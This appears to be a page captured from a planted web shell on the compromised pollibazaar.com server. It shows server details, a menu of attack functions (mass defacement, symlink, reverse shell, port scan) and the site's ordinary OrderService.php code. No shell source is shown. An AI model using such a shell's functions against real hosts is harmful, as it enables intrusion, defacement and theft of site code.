ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Services
/
Viewing: OrderService.php
<?php namespace App\Services; use Modules\TaxModule\app\Traits\VatTaxManagement; class OrderService { use VatTaxManagement; public function __construct() { } public function getPOSOrderData(int|string $orderId, array $cart, float $amount, float $totalTaxAmount, float $paidAmount, string $paymentType, string $addedBy, int $userId): array { $taxConfig = self::getTaxSystemType(); return [ 'id' => $orderId, 'customer_id' => $userId, 'customer_type' => 'customer', 'payment_status' => 'paid', 'order_status' => 'delivered', 'seller_id' => $addedBy == 'seller' ? auth('seller')->id() : auth('admin')->id(), 'seller_is' => $addedBy, 'payment_method' => $paymentType, 'order_type' => 'POS', 'checked' => 1, 'total_tax_amount' => $totalTaxAmount, 'tax_type' => $taxConfig['SystemTaxVatType'], 'tax_model' => $taxConfig['is_included'] ? 'include' : 'exclude', 'extra_discount' => $cart['ext_discount'] ?? 0, 'extra_discount_type' => $cart['ext_discount_type'] ?? null, 'order_amount' => currencyConverter(amount: $amount), 'paid_amount' => currencyConverter(amount: $paidAmount), 'discount_amount' => $cart['coupon_discount'] ?? 0, 'coupon_code' => $cart['coupon_code'] ?? null, 'discount_type' => (isset($cart['coupon_code']) && $cart['coupon_code']) ? 'coupon_discount' : NULL, 'coupon_discount_bearer' => $cart['coupon_bearer'] ?? 'inhouse', 'created_at' => now(), 'updated_at' => now(), ]; } public function getCheckIsOrderOnlyDigital(object $order): bool { $isOrderOnlyDigital = true; if ($order->orderDetails) { foreach ($order->orderDetails as $detail) { $product = json_decode($detail->product_details); if (isset($product->product_type) && $product->product_type == 'physical') { $isOrderOnlyDigital = false; } } } return $isOrderOnlyDigital; } }
Coded With 💗 by
0x6ick